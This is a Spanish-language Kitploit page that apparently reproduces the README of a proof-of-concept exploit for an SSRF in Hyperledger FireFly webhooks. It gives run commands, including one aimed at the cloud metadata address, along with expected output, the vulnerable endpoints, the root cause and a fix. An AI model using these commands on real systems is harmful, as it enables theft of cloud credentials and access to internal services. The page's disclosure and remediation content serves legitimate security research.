Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-82957 — Prueba de concepto de exploit para CVE-2026-82957, un SSRF en las suscripciones de webhook de Hyperledger FireFly que obliga al nodo a solicitar URL internas o de metadatos en la nube. | Kitploit
Herramientas/GitHubGitHub/hakaioffsec/cve-2026-82957
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad en la Nube
GitHubhakaioffsec/cve-2026-82957

CVE-2026-82957

Prueba de concepto de exploit para CVE-2026-82957, un SSRF en las suscripciones de webhook de Hyperledger FireFly que obliga al nodo a solicitar URL internas o de metadatos en la nube.

Ver Repositorio
1hace 24 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

SSRF en las suscripciones de webhook de Hyperledger FireFly (CVE-2026-82957)

Un exploit de prueba de concepto para CVE-2026-82957, una Server-Side Request Forgery (CWE-918) en el transporte de eventos webhooks de Hyperledger FireFly Core. Cualquier cliente que pueda crear una suscripción a eventos puede registrar un webhook cuya URL de destino nunca se valida — cuando ocurre un evento coincidente, el propio nodo de FireFly emite la solicitud HTTP. Apuntarlo a direcciones solo internas (metadatos de la nube, loopback, servicios RFC1918) convierte al nodo en un confused deputy.

Requisitos

Solo la biblioteca estándar de Python 3 — sin dependencias.

$ python3 cve_2026_82957.py --help

Uso

Paso 1 — inicia un listener en la máquina a la que el nodo FireFly debería conectarse (la víctima de SSRF):

$ python3 -m http.server 8000 --bind 0.0.0.0

Paso 2 — ejecutar el exploit. -t es la URL base de la API de FireFly, -u es la URL que se forzará al nodo a solicitar:

# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED

# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/

# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED

Para un nodo FireFly que se ejecuta en Docker, <host-ip> es la puerta de enlace de la red bridge — encuéntrala con docker network inspect <network> (campo IPAM.Config.Gateway, p. ej. 172.21.0.1).

Salida esperada:

[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.

Registro del listener — la IP de origen es la IP del contenedor del nodo FireFly, no la máquina del atacante, lo que demuestra que la solicitud fue falsificada por el servidor. SSRF confirmado:

172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -

Versiones vulnerables

  • Todas las versiones con el transporte webhook, hasta la v1.5.0 inclusive
  • Introducido en el commit 215c69181 ("Base implementation of webhooks invocation", 2021-06-20)
  • Todavía presente en e3c9b8d89 (main) — ningún commit entre ambos añade validación del host
  • Verificado en vivo contra v1.4.0 y v1.5.0

Causa raíz

Archivo: internal/events/webhooks/webhooks.go

LíneaCódigoProblema
191url: options.GetString("url")destino tomado literalmente de la entrada del usuario
266ValidateOptions(...)valida formato/cabeceras/timeouts pero nunca el host
394req.r.Execute(req.method, req.url)se dispara la petición

No existe una lista de permitidos/denegados sobre el destino resuelto: no hay bloqueo para direcciones loopback, privadas (RFC1918) ni link-local (169.254.0.0/16), y tanto el host como el esquema están totalmente controlados por el atacante. FireFly no incluye ningún plugin de autenticación de API por defecto, por lo que la creación de suscripciones puede ser no autenticada.

Endpoints afectados

  • POST /api/v1/namespaces/{ns}/subscriptions — crea el webhook malicioso (devuelve 201 Created para URLs internas)
  • Cualquier llamada a la API que emita un evento que coincida con el filtro de la suscripción (p. ej. POST /api/v1/namespaces/{ns}/messages/broadcast) — desencadena la petición falsificada

Impacto

CWE-918 Server-Side Request Forgery. Un atacante puede:

  • Alcanzar servicios internos no expuestos externamente (bases de datos, paneles de administración, contenedores sidecar)
  • Leer credenciales de la nube desde el endpoint de metadatos de la instancia (169.254.169.254) → escalada hacia la cuenta de la nube
  • SSRF de lectura completa: con "reply": true la respuesta interna se devuelve al atacante como un evento de FireFly — no es ciego
  • Escanear puertos de la red interna mediante diferencias de error/tiempo

CVSS

~8.5 Alta CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — la severidad depende de si la API está detrás de autenticación.

Corrección

En ValidateOptions, analizar la URL, resolver el host y rechazar direcciones loopback/privadas/link-local/no especificadas; restringir el esquema a http/https; volver a comprobar la IP resuelta en el momento de la conexión (un DialContext personalizado) para derrotar el DNS-rebinding; preferiblemente exponer una lista de permitidos configurable de hosts de webhook permitidos.

Aviso legal

Esta herramienta es solo para fines educativos y de investigación. Úsela únicamente en sistemas que posea o para los que tenga permiso explícito de probar. El autor no es responsable de ningún uso indebido o daño causado por este programa.

QuimeraX Intelligence

QuimeraX Intelligence es una plataforma avanzada de EASM y Cyber Threat Intelligence especializada en identificar vulnerabilidades críticas en sistemas complejos. La plataforma monitorea, detecta y alerta proactivamente a los clientes sobre amenazas de seguridad, garantizando transparencia y una respuesta rápida ante riesgos potenciales. Los clientes reciben notificaciones inmediatas e informes completos si se descubre que sus sistemas son vulnerables, lo que les permite tomar medidas protectoras. más información

Hakai Security

Hakai Security es una empresa de ciberseguridad fundada por profesionales de la seguridad, comprometida con la excelencia técnica. Ofrecemos soluciones de seguridad a medida que incluyen pruebas de penetración avanzadas, simulaciones realistas de Red Team y prácticas de desarrollo seguro para proteger proactivamente los activos de nuestros clientes frente a amenazas cibernéticas en evolución.

Hacking Club

Hacking Club es la plataforma de formación donde aprendes ciberseguridad mediante lecciones prácticas, laboratorios y desafíos creados por expertos que trabajan en nuestra firma de consultoría de seguridad: directamente desde el campo de batalla hasta tu formación.

Descargar herramienta